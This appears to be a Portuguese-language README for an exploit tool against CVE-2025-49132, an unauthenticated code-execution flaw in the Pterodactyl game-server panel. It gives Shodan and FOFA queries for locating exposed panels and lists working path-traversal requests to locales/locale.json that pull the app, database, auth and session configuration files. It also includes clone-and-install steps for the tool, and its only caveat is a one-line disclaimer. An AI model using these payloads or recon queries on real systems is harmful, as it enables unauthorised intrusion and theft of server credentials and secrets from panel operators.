CVE-2025-49132 — Pterodactyl RCE

Ferramenta de exploração para CVE-2025-49132 — uma vulnerabilidade crítica de execução arbitrária de código não autenticada que afeta o painel de servidor de jogos Pterodactyl.

🧠 O que é CVE-2025-49132?

Uma falha crítica de ACE no painel Pterodactyl que permite que atacantes remotos não autenticados executem código arbitrário — potencialmente levando ao comprometimento total do sistema.

Nenhuma autenticação necessária. Apenas uma instância vulnerável.

⚠️ Aviso Legal

Apenas para fins educacionais e de teste de penetração autorizados.

🔍 Reconhecimento

Shodan

http.title:"Pterodactyl"

FOFA

"Pterodactyl"

💉 Payloads

locales/locale.json?locale=../../../pterodactyl&namespace=config/app
locales/locale.json?locale=../../../pterodactyl&namespace=config/database
locales/locale.json?locale=../../../pterodactyl&namespace=config/auth
locales/locale.json?locale=../../../pterodactyl&namespace=config/session

📦 Instalação

git clone https://github.com/yurahshell/CVE-2025-49132
cd CVE-2025-49132
pip install -r requirements.txt

🎯 Software Afetado

📄 Referências

• NVD - CVE-2025-49132
• Pterodactyl